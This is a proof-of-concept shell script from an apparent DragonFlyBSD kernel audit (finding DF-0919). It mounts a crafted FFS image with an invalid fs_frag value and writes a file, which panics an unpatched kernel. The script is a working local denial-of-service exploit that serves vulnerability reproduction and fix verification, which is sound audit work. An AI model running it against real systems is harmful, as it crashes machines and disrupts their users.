DragonFlyBSD Kernel Audit
DF-0919 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# run.sh — DF-0919 (run as root on the DragonFlyBSD guest)
#
# Reproduces the kernel panic by mounting a crafted FFS image whose
# superblock fs_frag field is outside {1,2,4,8}, then triggering a
# block allocation. The allocation path calls ffs_isblock(), whose
# switch on fs_frag falls through to default: panic("ffs_isblock")
# at sys/vfs/ufs/ffs_subr.c:238.
#
# Expected on the unpatched 6.5-DEVELOPMENT kernel:
#   panic: ffs_isblock       (then db> prompt on serial console, ssh dies)
# Expected on the single-fix kernel:
#   the mount is rejected with EINVAL ("mount: ...: Invalid argument")
#   and no panic occurs.
set -e
cd "$(dirname "$0")"

IMG=/tmp/df0919_evil.img
DEV=vn0
MNT=/mnt/df0919
NEWFRAG="${1:-3}"     # default: fs_frag := 3 -> ffs_isblock default panic

# 0. cleanup any previous attempt
umount "$MNT" 2>/dev/null || true
vnconfig -u "$DEV" 2>/dev/null || true
rm -f "$IMG"

# 1. build a valid 64 MB FFS image
dd if=/dev/zero of="$IMG" bs=1m count=64 status=none
vnconfig -c "$DEV" "$IMG"
newfs "/dev/$DEV" >/dev/null 2>&1

# 2. patch fs_frag to an out-of-{1,2,4,8} value
./patch_frag "$IMG" "$NEWFRAG"

# 3. attach and mount read-write
mkdir -p "$MNT"
echo "+ mount -t ufs /dev/$DEV $MNT"
mount -t ufs "/dev/$DEV" "$MNT" || { echo "MOUNT_FAILED (rc=$?)"; exit 1; }

# 4. trigger block allocation -> ffs_isblock -> default: panic
echo "+ echo hello > $MNT/data  (triggers ffs_alloccg -> ffs_isblock)"
echo "hello world" > "$MNT/data"

# If we get here on the patched kernel, the mount succeeded *and* the write
# worked without panic. That would be unexpected.
echo "WRITE_OK (no panic)"